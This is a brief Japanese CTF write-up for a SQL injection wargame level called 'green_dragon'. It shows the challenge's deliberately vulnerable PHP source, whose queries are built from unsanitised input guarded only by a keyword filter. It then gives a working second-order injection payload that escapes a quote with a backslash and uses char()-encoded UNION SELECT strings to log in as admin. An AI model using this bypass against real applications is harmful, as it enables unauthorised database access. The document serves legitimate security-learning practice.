<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']){ if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~"); $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'"; echo "<hr>query2 : <strong>{$query2}</strong><hr><br>"; $result = mysqli_fetch_array(mysqli_query($db,$query2)); if($result['id'] == "admin") solve("green_dragon"); } highlight_file(__FILE__);
特徴は以下。
- id,pwを入力する。以下フィルターがある
prob,_,.,',"
は使えない- 取ってきた情報で改めてリクエストをかけて、idがadminのものが取ってこれるか確認している
結論から言うと、以下で奪取可能。
?id=\&pw= union select char(0x5c),char(0x20, 0x75, 0x6e, 0x69, 0x6f, 0x6e, 0x20, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x63, 0x68, 0x61, 0x72, 0x28, 0x39, 0x37, 0x2c, 0x31, 0x30, 0x30, 0x2c, 0x31, 0x30, 0x39, 0x2c, 0x31, 0x30, 0x35, 0x2c, 0x31, 0x31, 0x30, 0x29, 0x20, 0x23) %23
id部分でシングルクオートをエスケープして、pw部分で自在にテーブル操作をしている。
union selectで任意の応答を返すようにするが、文字列はそのまま置けないので、char関数で埋め込む。
応答は
id \
pw union select char(97,100,109,105,110) #
が帰り、これで改めてリクエストすると、adminがidに入ってくる。